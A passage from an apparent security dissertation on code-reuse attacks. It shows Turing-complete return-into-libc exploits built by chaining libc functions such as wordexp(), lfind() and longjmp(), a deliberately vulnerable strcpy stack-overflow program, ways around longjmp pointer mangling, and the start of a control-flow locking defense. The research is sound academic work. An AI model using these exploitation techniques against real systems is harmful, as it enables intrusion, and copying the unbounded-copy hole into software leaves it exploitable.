the theory that JOP is not simply a peculiarity unique to the x86. Of course, adapting the technique
to even more architectures would lend further evidence to theory, and is a new direction for future
work.

Having shown that the jump-oriented programming technique is applicable on MIPS, it
is informative to look at the myriad differences in the technique on MIPS versus x86. There is much
less interdependence on jump registers on MIPS, since almost all gadgets use jump via t9. This
makes the composition of functional gadgets a more straightforward effort. However, because the
individual CPU instructions are much less expressive, individual gadgets tend to be much longer
and more complex. For example, the dispatcher gadget used on x86 was two instructions long
and required only two registers, but the MIPS dispatcher gadget required six instructions plus
an additional register to hold the value being dereferenced, despite representing the same basic
operation. In any case, the design of jump-oriented attacks could be greatly simplified by the
development of automation. However, as with x86, such automation must resolve the conflicts and
interdependencies between gadgets, which is another avenue for future exploration.

One interesting observation is the subtle way in which CPU architecture can influence the
availability of useful gadgets. On the x86, jump-oriented gadgets are plentiful in part because
of that architecture’s variable-length, unaligned instructions and the choice of the ubiquitous 0xff
byte as the start of an indirect jump. MIPS has neither of these quirks, but gadgets are plentiful
for a different reason: indirect jumps are used extensively to allow position-independent code. In
addition, we believe that the use of delay slots on MIPS contributes to the diversity of gadgets
encountered. Because the compiler eager wishes to fill delay slots with useful work, a wide variety
of machine instructions are moved into post-jump delay slots during optimization. This leads to a
larger number of indirect jump instructions that are adjacent to useful code, which in turn leads
to more useful gadgets being available.

4.6 Summary

This chapter presented a MIPS variant of the jump-oriented programming attack, which supports
the hypothesis that JOP is a general threat, independent of any single platform. By exploiting the
MIPS architecture’s plentiful indirect jumps to locate gadgets and chaining them through a special
dispatcher gadget, we have replicated the same Turing complete capabilities on MIPS that were
shown in the x86. The gadget catalog and example shellcode demonstrate the practicality of the
attack.

In addition to the jump-oriented programming work discussed thus far, this document will also
touch upon the expressiveness of an existing code-reuse exploit, the return-into-libc attack, which
is the topic of the next chapter.
Chapter 5

Turing-Complete Return-into-libc Attacks

In the previous chapters, we discussed the novel jump-oriented programming attack, but currently, the simplest and most common form of code-reuse attack is the return-into-libc (RILC) technique [42]. In this technique, the attacker arranges for the stack pointer to point to a series of malicious stack frames injected into the program’s memory. When the program returns from the current function, control flow is redirected to the entry point of another function chosen by the attacker. The stack frame also contains necessary function arguments, so that the function is executed with attacker-supplied parameters. Moreover, such calls can be chained, allowing the attacker to execute a sequence of arbitrary function calls [42]. This capability is most commonly used to execute system() to launch another program or mprotect() to disable W@X guarantees.

Though the RILC technique is indeed powerful, it is widely believed [42, 47, 46, 21, 7] that a RILC attack is capable of only linearly chaining multiple functions, but not arbitrary computations—i.e., it is not Turing complete. For example, Shacham et al. explain this view, saying “in a return-into-libc attack, the attacker can call one libc function after another, but this still allows him to execute only straight-line code, as opposed to the branching and other arbitrary behavior available to him with code injection”[47]. This conclusion is what drove researchers to develop the return-oriented programming (ROP), in which a similar stack exploit is used to weave together small snippets of code called gadgets to achieve Turing completeness.

In this chapter, we make the counterargument that RILC is in fact Turing complete and therefore equal in expressive power to ROP. Specifically, by combining existing functions in unique ways, we have been able to construct arbitrary computations using only whole functions within libc. We call this variant of RILC Turing-complete return-into-libc (TC-RILC). This result directly challenges the notion that the traditional RILC attack is limited in expressive power. Further, because

---

1This work was undertaken by Tyler Bletsch, Minh Tran, and Mark Etheridge.
TC-RILC attacks do not have certain peculiarities specific to ROP, our technique has negative implications for some anti-code-reuse defenses [21, 15, 37] that target ROP.

Moreover, we also show that because TC-RILC relies only on the intended semantics of the functions being used, it has one inherent advantage over ROP: it is straightforward to port attacks between different versions or different types of operating systems. For example, the adversary can readily re-target their RILC-based Linux attack code for Windows (or another version of Linux). In fact, because the attack can be constructed from widely available functions such as POSIX standard functions (common on virtually all Linux, UNIX, and Windows environments), the attack code can be nearly universal. Our experience indicates that the only implementation-specific data needed are the actual function entry points and certain data structures. This is a stark contrast to ROP, wherein new gadgets have to be located in the machine code of the specific binary to be exploited, so moving to a different OS or a different revision of the same OS means identifying all new gadgets.

Recognizing the evolving nature of arms-race between code injection attacks and defenses, we believe it is important to fully understand the limits and capabilities of all attack techniques. By clarifying and better understanding the expressiveness of RILC attacks with this chapter, we hope to spur research into a greater understanding of future threats and their defenses.

To summarize, the contributions of this chapter are as follows:

- First, we show that RILC attacks can be Turing complete, disproving the commonly held misconception that such attacks are inherently linear and therefore less expressive than ROP.

- Second, we show that TC-RILC depends only on the well-defined semantics of libc instead of the low-level machine code snippets used by ROP. This makes a TC-RILC attack more easily portable between operating systems (including their variants). Further, because it uses entire functions, our technique has negative implications for some existing anti-ROP defenses [21, 15, 37].

- Third, we demonstrate the practicality of this technique by implementing two example exploits: a universal Turing machine simulator and an implementation of the selection sort algorithm. Together, these examples demonstrate the expressiveness and practicality of the technique.

The rest of this chapter is laid out as follows. Section 5.1 goes into detail on the relevant aspects of the existing RILC attack. Next, Section 5.2 explains the detailed design of the TC-RILC attack, then Section 5.3 presents the implementation and evaluation of TC-RILC, including a universal Turing machine simulator. Section 5.4 examines the limitations of our approach and explores ways for improvement. Finally, Section 5.5 concludes this chapter.
5.1 Background

In this section, we briefly review necessary background of the existing RILC attack. Notice that while this discussion focuses on the 32-bit x86 architecture, the RILC attack can be launched in a variety of runtime environments.

Our work is an extension to the traditional return-into-libc (RILC) attack; thus, many similarities exist between both the threat models and assumptions made regarding the feasibility of executing either. Specifically, the traditional RILC attack requires that an attacker be able to place a payload into memory (i.e., onto the stack) and hijack the \texttt{esp} register (which essentially becomes the de-facto program counter in RILC). Such assumptions are made possible by the commonality of vulnerabilities such as buffer overruns and format string bugs. In addition, the attack depends on the presence of functionality useful to the attacker being present in the existing codebase. RILC, as the name suggests, leverages the vast catalog of functions present in the C standard library to fulfill this requirement, as libc is dynamically linked to all processes in UNIX-like environments. Note that Windows environments also fulfill this requirement through the Visual C++ Runtime library provided by \texttt{msvcrt.dll}, which is linked to many Windows applications. Further, our threat model specifies that the vulnerable programs are protected via enforcement of code integrity (i.e., the ubiquitous W⊕X policy), negating the possibility of a direct code injection.

As mentioned above, executing a RILC attack requires the ability to overwrite the stack with arbitrary content via a buffer overflow, format string bug, or similar vulnerability. The content written to the stack is actually composed of valid (in regards to platform-specific calling conventions) but malicious function call frames that are specially crafted by the attacker in order to achieve an intended purpose. Once the stack has been populated with malicious content, the frame pointer (\texttt{esp}) must be redirected such that the next frame accessed is the first frame injected by the attacker. There exist several methods by which this redirection can be achieved and the method often differs from one exploit to the next. The example exploits presented in this work leverage a \texttt{pop esp ; ret} sequence that exists as part of the function epilogue in the main method of a vulnerable application; thus, stack pointer redirection is as simple as injecting the address of the first malicious frame into the correct stack position.

As powerful as individual libc functions are, they are also highly specific; thus, using a single libc function limits an attacker to only the most basic of exploits. However, there are techniques available to chain multiple libc functions, including one called \textit{esp lifting} [42]. This method operates by using small instruction sequences (similar to ROP gadgets) to glue multiple functions (i.e., stack frames) together. These gadgets are composed of some number of \texttt{pop} instructions followed by a \texttt{ret} – a common sequence in practice, as such instructions, often composed of 2 or 3 \texttt{pops}, are used to implement standard C function epilogues. By inserting the memory location of such a sequence into the current stack frame’s return address, an attacker can advance the stack pointer to the
Figure 5.1: Format of a malicious RILC stack frame. The esp lifter address corresponds to the function’s return address, allowing sequential execution of functions.

location of the next stack frame, thereby chaining multiple functions together. This method can allow for far more complex (and thus more powerful) exploits to be executed.

The format of a malicious stack frame is shown in figure 5.1. The first item in the stack, located at the top of the frame, is the address of the function to be executed. This is immediately followed by the address of an esp lifter gadget, which acts as the return address of said function. In this way, the stack pointer can be immediately advanced to the next frame upon return from the previously called function. The final entries in the frame are the parameters to be passed to the function. Such a layout complies perfectly with the C standard for function frames while still allowing the attacker to maintain control of the exploit’s execution.

The operation of the classic RILC exploit is in some ways similar to that of ROP. Most apparent is the use of the stack for program control. In addition, both paradigms utilize the concept of found code segments (“gadgets”, in ROP parlance) in order to perform arbitrary computations; however, the length and location of these segments differ greatly between the two. Specifically, ROP utilizes small segments (only a few instructions long) located arbitrarily in memory. These segments can be either code intentionally emitted by the compiler or, because instructions on the x86 are of variable length, unintended code sequences found by jumping to an offset that does not lie on an instruction boundary. On the other hand, RILC identifies segments solely by their intended definitions, namely as pre-defined functions.

RILC has been noted in the past as being capable of executing only straight-line code, while ROP is capable of conditionally altering program flow. As a result, RILC is generally considered as being incapable of fulfilling the requirements for Turing-completeness – a classification that severely limits its expressive power and capabilities. This work attempts to correct this misconception by providing proof of and methods for achieving Turing-completeness utilizing only commonly-available libc functions. By doing so, we can better understand the limits and capabilities of RILC and its comparison with ROP.
5.2 Design

In the traditional, commonly-held view, RILC is assumed to be Turing incomplete for two reasons:

- First, in a pure RILC attack, parameter data of a function is static and needs to be pre-stored in stack before its execution while its return value is typically saved in eax and cannot be efficiently reused; this makes it challenging to carry over the result of one libc function to another.

- Second, during the execution of a RILC attack, stack frames are unwound in linear order, which makes it challenging to support conditional branching. Note that conditional branching is an essential operation for a system to be Turing complete.

In the development of TC-RILC, we have found a solution to both of these non-trivial problems. Specifically, our solution is based on the observation that many functions have side-effects which may modify certain memory, including the stack or the stack pointer. For the ease of presentation, we identify the functions whose side-effects are the result of useful computations and simply call these functions widgets (analogous to ROP’s gadgets). To demonstrate the Turing completeness of RILC, we define a variety of essential classes of widgets that are needed to perform arbitrary computation, and show that such widgets are available in commonly deployed code (e.g., libc). It is important to stress that widgets are literally entire functions, and that they are being exploited for their intended side-effects.

As our attack is an extension to traditional RILC, the structure of launching a TC-RILC is basically the same as in traditional RILC. That is, the injected buffer is comprised of malicious stack frames containing function entry points and parameters. However, one key difference is the specific functions that have been chosen and misused in an unique way that makes it possible to support arbitrary operations. Specifically, we find that widgets are available in commonly deployed code and can be efficiently misused to solve the two problems listed above. First, to achieve persistent data across function calls, we observe that widgets can be found that use pointers to read or write to locations within the attacker’s stack. Therefore, these functions can “forward copy” the result of one widget into a future widget’s input parameters (see Section 5.2.2). Additionally, functions whose inputs come via pointers or another method of indirection (e.g., environment variables) can also be used to side-step this problem. Second, to achieve conditional branching, we find a class of widgets capable of conditionally altering the stack pointer (see Section 5.2.3).

In the following, we categorize these widgets by their functional purpose. When presenting each widget category, we also report example functions found in libc, as specified in the POSIX standard.
5.2.1 Arithmetic and Logic

In this category, we consider any function as a candidate arithmetic and logic widget if the result of an arithmetic or logic operation is made available as a side-effect, i.e., written to memory as opposed to a register. In libc, the `wordexp()` function (specified in POSIX.1-2001 [50]) achieves this in a straightforward way. In essence, this function performs the expansion of expressions used by UNIX shells such as `bash`, and arithmetic is a natural component of that. It turns out that this functionality serves a number of purposes, including integer addition, subtraction, multiplication, and division\(^2\). Of course, shell expansion is based on human-readable strings rather than binary arithmetic. Therefore, to leverage this functionality, we need to combine the string/integer conversion functions `itoa()` and `atoi()` (as well as the standard string-manipulation functions) to build input strings for `wordexp()`. This rather unorthodox approach allows us to perform arithmetic solely with side-effects, a requirement in constructing the TC-RILC attack. In addition to `wordexp()`, we can also make use of other pointer-driven arithmetic and logic functions, such as `sigandset()` and `sigorset()`, which flip numbered bits in an in-memory data structure.

5.2.2 Memory Accesses

Arbitrary access to memory in a RILC attack is as simple as employing any function which performs a memory copy. These functions can be used to move data into and out of the RILC stack area. For this, libc provides us with a myriad of choices: `memcpy()`, `strcpy()`, etc. These functions are especially important in the context of TC-RILC, as they form the key to preserving data between calls. Additionally, one can make use of more esoteric data storage mechanisms, such as environment variables, which are automatically expanded by some functions, including `wordexp()`. When a widget executes, the only results useful to the attacker are side-effects. In order for the side-effect to be used as an input to a later widget, an intervening memory access widget can copy this result into a future stack frame (or into a location referenced by a pointer in a future stack frame). The end result is a data model where variables in the TC-RILC program do not occupy a single place in memory, but rather are copied (or carried over) into place just in time for their next use.

5.2.3 Branching

Branching, especially conditional branching, is the practice of altering the flow of execution within the RILC attack. Note that this does not mean simply altering the CPU’s instruction pointer `eip`. Rather, one must alter the stack pointer `esp`, which serves as the RILC attack’s virtual program

\(^2\)The POSIX standard actually calls for a full compliment of logical and bitwise operations as well, but this does not appear to be implemented in our version of libc. However, this limitation does not hinder the TC-RILC technique.
<table>
<thead>
<tr>
<th>Category</th>
<th>Widgets</th>
</tr>
</thead>
<tbody>
<tr>
<td>Arithmetic/Logic</td>
<td><code>wordexp()</code>, <code>sigandset()</code>, <code>sigorset()</code></td>
</tr>
<tr>
<td>Memory access</td>
<td><code>memcpy()</code>, <code>strcpy()</code>, <code>sprintf()</code>, <code>scanf()</code>, etc.</td>
</tr>
<tr>
<td>Branching</td>
<td><code>lfind()</code> + <code>longjmp()</code>, <code>lsearch()</code> + <code>longjmp()</code></td>
</tr>
<tr>
<td>System calls</td>
<td>Usual functions: <code>open()</code>, <code>close()</code>, <code>read()</code>, <code>write()</code>, etc.</td>
</tr>
</tbody>
</table>

counter. This is a crucial ingredient to Turing complete computation, and has been long thought to be impossible in a RILC attack.

Our solution to this problem has two steps.

- First, to perform an unconditional branch, we identify any widget which explicitly alters the stack pointer. The C89 and POSIX standards define such a function: `longjmp()`. The intended use of `longjmp()` is to support non-local gotos [31], and is commonly used in threading libraries and error handlers. For the attacker, however, `longjmp` represents a convenient means to alter much of the CPU state in a single call, including the stack and base pointers (`esp` and `ebp`). This allows for unconditional branching within the RILC attack.

- Next, to make this branch conditional, a pointer to the `longjmp()` function can be provided as a parameter to another function which will execute the pointer conditionally. A convenient choice for this role is the `lfind()` function (also defined in the POSIX standard [50]). This function is intended to help with linear searches through an array, and has the form:

  ```c
  lfind(void *key, void *base, size_t *nmemb, size_t size, int(*compar)(void *, void *))
  ```

  Normally, this function would walk through the array starting at `base`, calling `compar()` with the given key and each iterated element. Instead, we set `compar` to `longjmp` and `key` to the address of an attacker-supplied `jmp_buf` structure (which includes values for a number of registers, including `esp` and `eip`). The `nmemb` parameter is the conditional variable: `longjmp()` is called if and only if this is non-zero. If it is called, execution of `lfind()` ends and both `eip` and `esp` are rewritten with new attacker-supplied values. In addition to `lfind()`, we have also identified that `lsearch()` can be used for the same purpose.

This functionality essentially allows the creation of arbitrary control flow branching, which is what makes TC-RILC possible.

### 5.2.4 System Calls

While not strictly necessary for Turing complete computation, most any useful attack will need to make use of system calls. This is straightforward in a RILC attack, as library functions can be
#include <stdlib.h>
#include <string.h>

int main( int argc, char** argv ) {
    char buf[2048];
    strcpy( buf, argv[1] );
}

Figure 5.2: The vulnerable application used to launch the example attacks.

employed just as they would in a user program. For example, for file IO, the attack can simply
make use of the open(), close(), read(), and write() functions as normal.

5.2.5 Discovery of widgets

We stress that unlike the machine-code-based gadget scan used in ROP, the discovery of widgets
in TC-RILC is much more straightforward. Because the attack depends only on the intended
side-effects of existing functions, the attacker need only consult the code’s documentation to locate
the necessary functions. To maximize compatibility of the attack to multiple platforms, we used
functions from the well-documented and widely-deployed POSIX standard [50]. (Table 5.1 contains
an incomplete list of widgets that are used in our implementation.) This means that specific
TC-RILC attack codes can be readily ported to a different OS revision or even a different OS
altogether as long as the environment supports the POSIX standard. All the changes needed are
the adjustment of function offsets and, if necessary, the format of the jmp_buf data structure. This
is in contrast to the ROP model, which requires analysis of individual binaries in order to locate
and assemble specific snippets of machine code.

5.3 Implementation and Evaluation

To demonstrate the expressive power of the TC-RILC technique, we have developed two example
stack-based buffer overflow attacks. The payload of the first attack is a RILC-based implementation
of a universal Turing machine simulator while the payload of the second implements the selection
sort algorithm. These two attacks were developed and tested on the 32-bit x86 version of Debian
Linux 5.0.4, and solely use POSIX-compliant functions within the included libc binary
 File size: 1413540 bytes, MD5 checksum: e4e7e3c6b4f1be983e00c0daaf3aaaf3.

3/lib/i686/cmov/libc-2.7.so. After

that, we also ported the attack technique to Windows in a straightforward manner. Our Windows
platform runs Windows XP (with service pack 3), and the vulnerable application was compiled
with Microsoft Visual C++ 6. The POSIX functions employed were found in the standard runtime
library for Visual C++ programs
 File size: 343040 bytes, MD5 checksum: 355edbb4d12b01f1740c17e3f850fa00.

4msvcrtdll.
Figure 5.3: A visual representation of the universal Turing machine simulator attack code. The attacker-controlled static memory is shown in (a). The tape T and table A constitute the program, while the environment variables I, S, Q, P, and M are used with wordexp() to do the bulk of the arithmetic and logic. When pointer indirection is needed, the lower two bytes are calculated by wordexp(), then converted to binary and written into the pointer variables tape_ptr and table_ptr. The stack frames are represented in (b) using a C-like notation where each line corresponds to an attacker-crafted stack frame. The frames are grouped by logical operation; within each group is its symbolic representation and description.
In both environments, the vulnerable program that was exploited to launch the attacks is given in Figure 5.2. In this program, the first command line argument is copied into a fixed-size stack buffer by `strcpy()`. Because this is done without bounds checking, an excessively long argument can overflow the return address of the `main` stack frame. This straightforward vulnerability allows an attacker to both inject the RILC program into memory and redirect control flow to it in one step.

During our development, we found that both Linux and Windows have features intended to protect `longjmp()` from malicious exploitation. For example, in Linux, the values stored for `eip` and `esp` in the `jmp_buf` structure are rotated several bits and xored by a known value in order to “mangle” them, i.e., adjust them in a way unknown to the attacker. Unfortunately, this protection is not fully implemented, as the known value is currently a hard-coded constant instead of a per-process random value. Windows instead protects the `jmp_buf` structure by including a special “cookie” value within it. In theory, this would prevent the attacker from overwriting the structure, but this protection is flawed in a way similar to Linux: this value is a hard-coded constant. Therefore, these protection features do not prevent TC-RILC from being launched (as simple hacks involving `longjmp()` remain viable on both platforms).

### 5.3.1 Universal Turing Machine Simulator

The term “Turing complete” is generally used as shorthand to indicate the capability for arbitrary computation. The set of Turing complete systems are equivalent in expressive power, and such systems are said to be *universal computers*. There are many ways to demonstrate that a system is Turing complete. In this work, we opt for the most straightforward approach: to show that our approach can simulate a Turing machine.

A Turing machine is a computer consisting of a tape $T$ with a movable read/write head, an internal state register $Q$, and a fixed state transition table $A$. At each interval, the machine reads the current symbol, and, based on that symbol and the current internal state, will update the symbol, change the state, and possibly move the head one step left or right. This behavior is governed by the transition table, which constitutes the Turing machine’s “program”. A system which can simulate this behavior for an arbitrary tape and transition table is called a *universal Turing machine*.

We have developed a TC-RILC exploit that acts as a universal Turing machine, demonstrating the expressiveness of our technique. Instead of delving into the complexity and details of the binary form of this attack code, we choose to present an abstracted representation in Figure 5.3. In this figure, the memory state is shown in Figure 5.3(a). Each definition here indicates a pointer to a piece of attacker-controlled memory. These definitions are commented inline, but we draw special attention to the `jmp_buf` structure $jb$. This structure is crafted by the attacker so that, when
Figure 5.4: Output of the TC-RILC Turing machine simulator processing a 4-state, 2-symbol busy beaver. Each line represents the state of the tape, with the inverted digit showing the location of the read/write head. The final line indicates the total number of steps taken.

passed to longjmp, the CPU stack pointer esp will be redirected to the top of the main loop.

The string of malicious stack frames that make up the TC-RILC program itself is shown in Figure 5.3(b). For clarity, each stack frame is indicated with a line of C-like code. To better understand this particular exploit, we need to explain the mechanism that is used to store persistent data between function calls. Specifically, our mechanism relies on the use of environment variables and thus alleviates the need to rebuild the equation strings during each iteration of the Turing machine run. As indicated in Figure 5.3(b), the exploit uses specially-crafted strings of the form “VARIABLE=VALUE” that are updated with a new VALUE before being added to the environment via a call to putenv(). In addition, wordexp() caps the result of any arithmetic operation at 0x7fffffff – presumably in an attempt to avoid the ambiguity encountered when representing signed versus unsigned numbers. For this reason, all memory offsets are computed by referencing only the lower two addressable bytes in equation strings, then copying the result of the arithmetic operation into the lower half of a pointer which already refers to the stack region. For example, consider the situation in which the exploit is known to reside at a location spanned by addresses of the form 0xbfffXXXX. In order to successfully compute a memory offset, we must populate a known memory location with a value of this form, then copy the result of any arithmetic operation containing a memory address into the XXXX portion of this location. The resulting value can then be used as a pointer to the desired memory location.

The exploit therefore begins by initializing the environment with the variables I (the offset into the tape) and Q (the current state). Once these variables are in place, we then begin computing the locations of the elements needed to advance the Turing machine. Specifically, we determine the memory location and value of the current tape symbol S, then utilize this in conjunction with the current state Q to determine the location P of the relevant row in the state-transition table A.
Given this memory location, advancing the machine is simply a matter of adding the correct offset to \( P \) in order to read the new symbol, state, and head movement direction \( M \). Finally, we advance the head position \( I \) by \( M \).

Once these operations have been completed, the machine is ready to execute its next step. We use the value of the new state \( Q \) to determine whether or not the machine needs to continue. Recall that our approach to conditional branching makes use of a unique `f`ind() + longjmp() combination, and utilizes the `nmemb` parameter as its conditional value—specifically, the branch is taken only if `nmemb` is non-zero. In our Turing machine example, the final state is indicated by \( Q = 0 \); thus, we can determine whether or not to continue looping by simply copying the value of the current state \( Q \) into the conditional parameter value.

To validate the correctness of our implementation, we configured the exploit to simulate a busy beaver—a special Turing machine that performs the greatest number of steps possible before halting [54]. The output of simulating a 4-state 2-symbol busy beaver is shown in Figure 5.4; we see the expected tape state as well as the total number of steps were executed. In this exploit, there are total of 24 widgets used for the TC-RILC implementation of the busy beaver Turing machine.

### 5.3.2 Selection Sort

While the previous example is sufficient to demonstrate Turing completeness in theory, a Turing machine is not a very convenient model for practical computation. Therefore, to demonstrate the practicality of the technique, we also present a TC-RILC exploit that implements the selection sort algorithm, represented by the following C pseudo-code:

```c
for (i = 0; i < N; i++) {
    min = x[i];
    index_min = i;
    for (j = i; j < N-1; j++) {
        if (min > x[j]) {
            min = x[j];
            index_min = j;
        }
    }
    swap(x[i], x[index_min]);
}
```

The algorithm is basically implemented with two `for`-loops. The inner loop finds the minimum item by examining each one in the array. In the outer loop, each iteration exchanges the found minimum item with the first one so that subsequent iterations can exclude the first one to proceed with sorting. In other words, after the \( m \)-th iteration (of the outer loop), the array is divided into two parts: the first part contains the leftmost \( m \) items of the array, which is sorted while the remainder constitutes the second part, which is not sorted.
**Figure 5.5**: A visual representation of the selection sort attack code. The attacker-controlled static memory is shown in (a). The array to be sorted is \( x \). When pointer indirection is needed, the lower two bytes are calculated by `wordexp()`, then converted to binary and written into the pointer variables `base` and `current`. The stack frames are represented in (b) using a C-like notation where each line corresponds to an attacker-crafted stack frame. The frames are grouped by logical operation; within each group is its symbolic representation and description.
Just as a compiler can analyze this code and produce a series of primitive arithmetic, logic, and control flow machine instructions, we have been able to map the algorithm to a sequence of TC-RILC widgets. We show the abstracted representation in Figure 5. Specifically, we have two similar for-loops. The outer loop is the main loop, which will sort the first $m$ items after $m$ iterations. The inner loop instead is responsible for finding the minimum item in the array. Each loop, either outer or inner, needs to properly perform conditional control flow, which is fulfilled with the `lfind() + longjmp()` combination. In our exploit, we also apply several other techniques used in our universal Turing machine simulator. Specifically, we use `wordexp()` for arithmetic operations and `sscanf()` for data movement. From the figure, we use a pointer named `base` to represent the first item in the unsorted part of the array (so that advancing it to the next item is simply a matter of increasing this pointer by the size of an item, which is 4 in our case). In the inner loop, we use the `current` pointer to find the minimum item. In total, there are 24 widgets used in the outer loop and 14 widgets used in the inner loop. The end result is a code-reuse exploit that can hijack our simple example program and sort an in-memory array.

We point out that implementing selection sort is not an end in and of itself, but it does demonstrate the feasibility of TC-RILC: one can similarly craft complex, expressive attack codes just by chaining entire functions to launch a TC-RILC attack.

5.4 Discussion

We have shown that the return-into-libc attack, long assumed to be limited to straight-line code, is actually Turing complete, and therefore equivalent in expressive power to more recent code-reuse attacks, such as ROP. Given this, it is interesting to examine the tradeoffs involved between these two techniques.

TC-RILC has several advantages over ROP. First, because it uses the intended behavior of functions to operate, attacks can be ported to different implementations by changing only the function offsets and the format of data; this is true even between vastly different environments, such as Linux and Windows. Further, most existing work on code-reuse attacks makes a probabilistic argument: if enough code is present, then it is likely that one can find enough code snippets to construct a Turing complete computation. In this work, however, we make a more concrete claim: because we rely solely on the intended behavior of POSIX standard functions, the TC-RILC technique is applicable to any standards-compliant OS environment. Second, because these functions are necessary for the normal operation of existing software, they cannot be simply taken away. This is in contrast with ROP, where the attacker is at the mercy of the specific machine instructions available in the binary. Third, a TC-RILC attack requires less information about the library than ROP: TC-RILC only requires the symbol table to locate the current function locations, whereas ROP requires an in-depth scan of the binary for useful instruction sequences.
Fourth, certain existing anti-ROP defenses, namely DROP [15], DynIMA [21], and the return-less approach [37], are defeated by the TC-RILC technique. These techniques observe the frequency or the presence of ret instructions, by exploiting the fact that ROP gadgets are typically 2-5 instructions in length. Because TC-RILC uses entire functions, these defenses simply become ineffective.

On the other hand, TC-RILC does have some disadvantages. First, a TC-RILC attack may require more stack space than an equivalent ROP attack. This distinction could be important when the vulnerability only permits overflows of a limited size. Second, our experience indicates that attacks based on TC-RILC could be more complex to construct manually than ROP attacks. This is primarily because of the complexity of storing data and operating control flow entirely through side-effects. In contrast, ROP programs can leverage the CPU registers to save state, and access memory only as needed. However, this complexity could be effectively reduced or even eliminated by developing a RILC-aware compiler. Third, while performance is not the primary aim of a TC-RILC attack, it is intrinsically computationally less efficient, especially when compared to native program execution. To measure its computational overhead, we adapted our Turing machine example to compute a 5-state, 2-symbol busy beaver candidate, which runs for 47,176,870 steps, making it a much more computationally intensive program than our earlier example. For comparison, we developed a straightforward Turing machine simulator based on the same algorithm in both Python and C. The C version, which we use as a baseline, finished in 0.19 seconds, while the Python version took 42.75 seconds (225 times slower). The TC-RILC execution took 419.38 seconds, and is therefore over 2000 times slower than the C implementation. Such an overhead is to be expected, as the exploit is rife with memory copy and string processing operations which are unnecessary in a normal program.

In addition, one interesting open question is the issue of cross-architecture portability. We have shown that the technique can be used on different operating systems on the x86 32-bit architecture, but it’s not clear how to carry the model to other CPU ISAs, especially RISC platforms. The technique depends on the calling convention in use, which is influenced by the CPU architecture. For example, the MIPS architecture, which we ported JOP to, passes most function parameters via registers rather than the stack, so applying TC-RILC in such an environment seems problematic. This remains an interesting problem which we leave to future work.

Like ROP, TC-RILC is susceptible to some existing defense techniques. To be clear, the goal of this chapter is not to cast TC-RILC as a threat without peer, but rather to reveal the unexpected fact that the RILC technique is more expressive and flexible than previously thought. The existing defenses available against this and other code-reuse attacks are explored and summarized in Chapter 2.
5.5 Summary

Return-into-libc (RILC) is one of the most common forms of code-reuse technique, but has been long considered to be incapable of arbitrary computation. In this chapter, we present the counter-argument that, by chaining existing functions in unique ways, RILC can be made Turing complete. Specifically, we demonstrate that the generalized TC-RILC attack satisfies the formal requirements of Turing completeness. Moreover, by relying only on the well-defined semantics of libc functions, TC-RILC attacks are portable between OSs and can also bypass some recent anti-code-reuse defenses that target the return-oriented programming technique. Our prototype development on both Linux and Windows demonstrates the expressiveness and practicality of this technique.
Chapter 6

Control-flow locking: A novel defense against code-reuse attacks

6.1 Introduction

Given the threat posed by the attacks described in Chapters 3–5, a new defense technique is needed to address the full range of code-reuse attacks. As discussed in Chapter 2, this can currently be achieved by enforcing control flow integrity (CFI), the property that control flow must pass through the program’s control flow graph. Unfortunately, current CFI techniques incur significant overhead (up to 45%) [2]. In this chapter, we present a novel technique that achieves protection functionally equivalent to CFI enforcement with negligible overhead for many workloads; the maximum overhead encountered was just 21%.

This technique is called control flow locking (CFL). Control flow locking is analogous to mutex locking, except instead of synchronization, the lock is asserted to ensure correctness of the control flow of the application. Specifically, a small snippet of lock code is inserted before each indirect control flow transfer (call via register, ret, etc.). This code asserts the lock by simply changing a certain value in memory; if the lock was already asserted, a control flow violation is detected and the program is aborted. Otherwise, execution passes through the control flow transfer instruction onto the destination. Each valid destination for that control flow transfer contains the corresponding unlock code, which will de-assert the lock if and only if the current lock value is deemed “valid”. If an invalid code is found (such as a lock from another point of origin), the process will be aborted.

Additional precautions are taken to ensure the value is not modified by other code, and that unintended instructions cannot be used (see Section 6.2). Given this, an attacker can now only subvert the natural control flow of the application at most once before being detected. Further, the instructions for system calls can have lock-verification code prepended to them so that this single control flow violation cannot be used to issue a malicious system call. This means that the only
consequence of the attack are potential changes to the program’s memory state, which is an ability
the attacker is already assumed to have based on the threat model (see Section 3.1).

The key insight that allows for CFL’s improved performance over earlier systems is that the
validity check is performing lazily, i.e. after the actual control flow transfer has occurred. This leads
to a better use of the CPU’s split L1 cache, as code need not be loaded as data (see Section 6.4 for
details).

The rest of this chapter is organized as follows: Section 6.2 introduces the overall system
design and Section 6.3 presents the implementation. Section 6.4 evaluates the system in terms of
performance and correctness, and Section 6.5 discusses the implications of the system as a whole.
Section 6.6 concludes the chapter.

6.2 Design

Earlier researchers focused on ret-based attacks in particular, and the resulting defenses were
vulnerable to attacks using control flow transfers other than ret. To develop a generic defense
against code-reuse attacks, we must understand the root problem, which is the promiscuous use
of control flow data in general (return addresses, function pointers, etc.). Currently, this data can
be used (or abused) to send control flow literally anywhere in the executable region, including
unintended code, function entry points, or various return- or jump-oriented gadgets.

Instead, we must restrict this data to only valid targets as dictated by the program’s control
flow graph. To be specific, the control flow operations that must be protected are:

- Unintended code which happens to implement ret, call, or jmp.
- ret instructions generated by the compiler.
- Indirect call and jmp instructions generated by the compiler.

To address the first category, we turn to a technique introduced by McCamant et al. [40] and
refined by the Google Native Client project [57]. We do not claim significant innovation in this
area; this technique is merely used to eliminate the danger of unintended code so that the control
flow locking technique can be deployed. As such, we will simply summarize the technique.

Because unintended code arises as a result of variable-sized non-aligned instructions, it can be
eliminated by imposing alignment artificially. To achieve this, three changes are applied to the
software at the assembly code level. First, no instruction is permitted to cross an n-byte boundary;
no-ops are inserted to ensure this. Second, all indirect control flow transfers are restricted to
targeting n-byte boundaries. Third, all targets for indirect control flow transfers (e.g. post-call
sites, function entry points, etc.) are forced to align to an n-byte boundary. These rules, when
taken together, ensure that unintended code cannot be reached\(^1\). In practice, the value of \(n\) is a power of two, and control flow transfers are restricted by means of a simple bit mask. The value of \(n\) must be larger than any single instruction, and there is a trade-off between small \(n\) (more frequent instruction alignments) and larger \(n\) (longer no-ops before control flow transfers, increased pressure on the CPU instruction cache). In this work, we found \(n = 32\) to provide best performance, and the transformation is applied at the assembly phase of the build process.

With unintended code removed from consideration, we now focus exclusively on control flow transfers generated by the compiler. To this end, we apply a novel technique called *control flow locking*.

### 6.2.1 Control flow locking

To explain this technique, we begin with a degenerate variant of it called *single-bit control flow locking*. In this model, we first locate all indirect control flow transfer sites, which consists of `ret` instructions and the indirect variants of `jmp` and `call`. Before each of these sites, we insert “lock” code, which implements the following pseudo-code:

```plaintext
if (k != 0) abort();
k = 1;
```

